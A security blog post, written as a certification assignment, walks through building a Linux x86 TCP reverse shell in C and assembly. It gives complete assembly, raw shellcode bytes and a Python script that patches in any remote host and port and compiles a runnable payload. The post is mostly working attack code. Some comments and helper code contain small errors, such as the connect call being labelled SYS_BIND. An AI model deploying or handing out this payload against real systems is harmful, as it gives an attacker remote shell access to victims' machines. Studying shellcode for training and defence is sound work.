Amonsec

It's all about digital security.

A simple blog where you can find different things about digital security.

Linux TCP Reverse Shell from Scratch with Intel x86 Assembly

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-975
Assignment number: #2
Github repository: https://github.com/amonsec/SLAE/tree/master/assignment-2

Note, this post will not be as deep as the previous because only few things change and the process is the same. So to fully understand this one, I highly recommend you to read this one first: https://amonsec.net/training/linux-assembly-x86/2018/linux-tcp-bind-shell-from-scratch-with-intel-x86-assembly

 

Introduction

The aim of this post is to create from scratch a Linux TCP reverse shell with Intel x86 Assembly instead of using Metasploit. It’s always a good thing to create his own shellcode because:

  • You know what you are using
  • You have a small custom shellcode
  • It’s fun

What you need in order to reproduce the process:

  • A Linux x86 system (Kali Linux in my case) and
  • Your brain (and maybe a cup a coffee or eight)
 

What is a TCP reverse shell?

A TCP reverse shell, is a program that’s try to connect to a given port and host address in order to execute a shell.

The main difference between a bind shell and a reverse shell is that the reverse shell, in most cases, can bypass firewall rules because it’s the target that connects to the attacker and not the reverse. Why that? Because outbound firewall rules are, in most cases, less restrictive than inbound firewall rules.

The following C code is an example of a TCP reverse shell:

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void) {

  int sockfd;
  int port = 31337;
  char host[] = "127.31.33.07";
  struct sockaddr_in addr;

  sockfd = socket(AF_INET, SOCK_STREAM, 0);
  addr.sin_family = AF_INET;
  addr.sin_port = htons(port);
  addr.sin_addr.s_addr = inet_addr(host);

  connect(sockfd, (struct sockaddr *) &addr, sizeof(addr));

  dup2(sockfd, 0);
  dup2(sockfd, 1);
  dup2(sockfd, 2);

  execve("/bin/sh", NULL, NULL);
  return 0;
}

The only difference here is that we don’t binds and wait for an incoming connection with the bind and listen function.

Instead, we are using the connect function to connects to a given remote host and port:

addr.sin_addr.s_addr = inet_addr(host);
connect(sockfd, (struct sockaddr *) &addr, sizeof(addr));

The rest of the code is the same and works the same way. Let’s compile and see if it works:

linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_compilation_and_reverse_execution.png
linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_listener.png

We are ready to create our assembly code.

 

From C to Assembly

Create our socket

; Socket creation
xor ebx, ebx     ; zeroed EBX
xor eax, eax     ; zeroed EAX
xor ecx, ecx     ; zeroed ECX
xor edx, edx     ; zeroed EDX
inc ebx          ; #define SYS_SOCKET    1

push edx         ; 0
push ebx         ; SOCK_STREAM
push byte 0x2    ; AF_INET = 2

mov ecx, esp     ; arguments
mov al, 0x66     ; #define __NR_socketcall 102
int 0x80         ; Interrupt
xchg esi, eax    ; Save addr

Schema:

linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_schema1.png
 

Connect our socket

The first thing that we need to do now is to convert both the IP address in big indian format. For that I wrote a simple python script to automatise the process:

#!/usr/bin/python
import sys

if len(sys.argv) < 2:
    print info_message('Usage: python {} <string>'.format(sys.argv[0]))
    sys.exit(0)

ip = sys.argv[1]

b = ''
for x in ip.split('.')[::-1]:
    hexchain =  hex(int(x)).split('x')[1]
    if len(hexchain) < 2:
        b += '0' + hexchain
    else:
        b += hexchain

print 'push 0x' + b + ' ; ' + ip

Output:

amonsec@anakin:/opt/slae/assignment-2$ python ip2bigidian.py 127.31.33.07
push 0x07211f7f ; 127.31.33.07
amonsec@anakin:/opt/slae/assignment-2$

Note, you can use every IP address that you want. In my case I didn’t use 127.0.0.1 in order to avoid null bytes (0x00).

; Connect
inc ebx           ; EBX = EBX + 1 

push 0x07211f7f   ; host = 127.31.33.07
push word 0x697a  ; port = 31337
push bx           ; AF_INET = 2
mov ecx, esp      ; sockaddr

push byte 0x10    ; sizeof(sockaddr) = 16
push ecx          ; sockaddr
push esi          ; sockfd

mov ecx, esp      ; arguments
inc ebx           ; #define SYS_BIND        2
mov al, 0x66      ; #define __NR_socketcall 102
int 0x80          ; Interrupt

Schema:

linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_schema2.png
 

Duplicate our File Descriptor

The loop version:

; Dup2
  xor ecx, ecx           ; zeroed ECX
  xchg ebx, esi          ; Put sockfd in EBX
dup:
  mov al, 0x3f           ; #define __NR_dup2 63
  int 0x80               ; Interrupt
  inc ecx                ; ECX = ECX + 1
  cmp ecx, 0x3           ; Compare ECX and 3
  jne dup                ; Jump if not equal

The basic version:

xor ecx, ecx           ; zeroed ECX
xchg ebx, esi          ; Put sockfd in EBX
mov al, 0x3f           ; #define __NR_dup2 63
int 0x80               ; Interrupt

inc ecx                ; ECX = ECX + 1
mov al, 0x3f           ; #define __NR_dup2 63
int 0x80               ; Interrupt

inc ecx                ; ECX = ECX + 1
mov al, 0x3f           ; #define __NR_dup2 63
int 0x80               ; Interrupt

Schema:

linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_schema3.png
 

Execute the shell

push edx               ; Null terminator
push 0x68732f2f        ; hs//
push 0x6e69622f        ; nib/
mov ebx, esp           ; /bin/sh

mov ecx, edx           ; NULL

mov al, 0x0b           ; #define __NR_execve 11
int 0x80               ; Interrupt

Schema:

linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_schema4.png
 

Assembling pieces

; Author: Amonsec
; Linux TCP reverse shell

global _start

section .text
_start:

  ; Socket creation
  xor ebx, ebx
  xor eax, eax
  xor ecx, ecx
  xor edx, edx
  inc ebx

  push edx

  push ebx
  push byte 0x2

  mov ecx, esp
  mov al, 0x66
  int 0x80
  xchg esi, eax


  ; Connect
  inc ebx

  push 0x07211f7f   ; 127.31.33.07
  push word 0x697a  ; 31337
  push bx
  mov ecx, esp

  push byte 0x10
  push ecx
  push esi

  mov ecx, esp
  inc ebx
  mov al, 0x66
  int 0x80


  ; Dup2
  xor ecx, ecx
  xchg ebx, esi

dup:
  mov al, 0x3f
  int 0x80
  inc ecx
  cmp ecx, 0x3
  jne dup

  push edx
  push 0x68732f2f ; hs//
  push 0x6e69622f ; nib/
  mov ebx, esp

  mov ecx, edx

  mov al, 0x0b
  int 0x80

We can compile it now:

amonsec@anakin:/opt/slae/assignment-2$ nasm -felf32 reverse_shell_linux_x86.asm
amonsec@anakin:/opt/slae/assignment-2$ ld -melf_i386 reverse_shell_linux_x86.o -o reverse
linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_nc_asm_compilation.png
 

Optimization

Like the previous post, now it’s time to write a python script to automatize the creation of the reverse shell for a given port and IP address. First, we extract the shellcode:

amonsec@anakin:/opt/slae/assignment-2$ objdump -d ./reverse |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xdb\x31\xc0\x31\xc9\x31\xd2\x43\x52\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x96\x43\x68\x7f\x1f\x21\x07\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xb0\x66\xcd\x80\x31\xc9\x87\xde\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"
amonsec@anakin:/opt/slae/assignment-2$

With the shellcode, we can write our python script:

#!/usr/bin/env python
import sys
import re
import os

# Color
RED = "\x1B[1;31m"
BLU = "\x1B[1;34m"
GRE = "\x1B[1;32m"
RST = "\x1B[0;0;0m"

# Lambda
info_message = lambda x: '{}[*]{} {}'.format(BLU, RST, x)
suce_message = lambda x: '{}[+]{} {}'.format(GRE, RST, x)
erro_message = lambda x: '{}[-]{} {}'.format(RED, RST, x)

# Core
print info_message('Linux x86 TCP reverse shell (v1.0)')
print info_message('Author {}Amonsec{}\n'.format(RED, RST))
if len(sys.argv) < 3:
    print info_message('Usage: python {} <rport> <rhost>'.format(sys.argv[0]))
    sys.exit(0)

port = int(sys.argv[1])
if port < 1 or port > 65535 :
    print erro_message('You\'re drunk. Go home. Go home')
    sys.exit(0)

if len(hex(port).split('x')[1]) < 4:
    port = '0' + hex(port).split('x')[1]
else:
    port = hex(port).split('x')[1]

hexchainPort = ''
for x in re.findall('..', port):
    if x == '00':
        print erro_message('Null byte detected')
        sys.exit(0)
    hexchainPort += '\\x' + x

print suce_message('Hexchain port: {}'.format(hexchainPort))

host = sys.argv[2]
hexchainHost = ''
tmp = ''
for x in host.split('.'):
    tmp = hex(int(x)).split('x')[1]
    if x == '00':
        print erro_message('Null byte detected')
        sys.exit(0)

    if len(tmp) < 2:
        hexchainHost += '\\x0' + tmp
    else:
        hexchainHost += '\\x' + tmp

print suce_message('Hexchain host: {}'.format(hexchainHost))

shellcode = (
"\\x31\\xdb\\x31\\xc0\\x31\\xc9\\x31\\xd2\\x43\\x52\\x53\\x6a"
"\\x02\\x89\\xe1\\xb0\\x66\\xcd\\x80\\x96\\x43\\x68\\x7f\\x1f"
+ hexchainHost +
"\\x66\\x68"
+ hexchainPort +
"\\x66\\x53\\x89\\xe1\\x6a\\x10"
"\\x51\\x56\\x89\\xe1\\x43\\xb0\\x66\\xcd\\x80\\x31\\xc9\\x87"
"\\xde\\xb0\\x3f\\xcd\\x80\\x41\\x83\\xf9\\x03\\x75\\xf6\\x52"
"\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3"
"\\x89\\xd1\\xb0\\x0b\\xcd\\x80");


print suce_message('Your shellcode:\n')
print shellcode.format('hex')
print ''
print info_message('Creating the C file ...')

filename = 'reverse_shell_linux_x86.c'
content = ''
content += '#include <stdio.h>\n'
content += '#include <string.h>\n'
content += 'unsigned char shellcode[] = \\ \n'
content += '"' + shellcode + '";\n'
content += 'int main() {\n'
content += 'int (*ret)() = (int(*)())shellcode;\n'
content += 'ret();\n'
content += '}\n'

data = open(filename, 'w')
data.write(content)
data.close()
print suce_message('C file successfully created.')

print info_message('Compiling the C file ...')
try:
    os.system('gcc -fno-stack-protector reverse_shell_linux_x86.c -z execstack -m32 -o reverse_shell_linux_x86')
except Exception:
    print erro_message('Error with the compilation')
    sys.exit(1)
print suce_message('C file successfully compiled.')
print suce_message('You are good to go 1337')
print ''
os.system('rm reverse_shell_linux_x86.c')
sys.exit(0)
linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_python_warper.png
linux_tcp_reverse_shell_from_scratch_with_intel_x86_assembly_final_nc_listener.png
 
 

break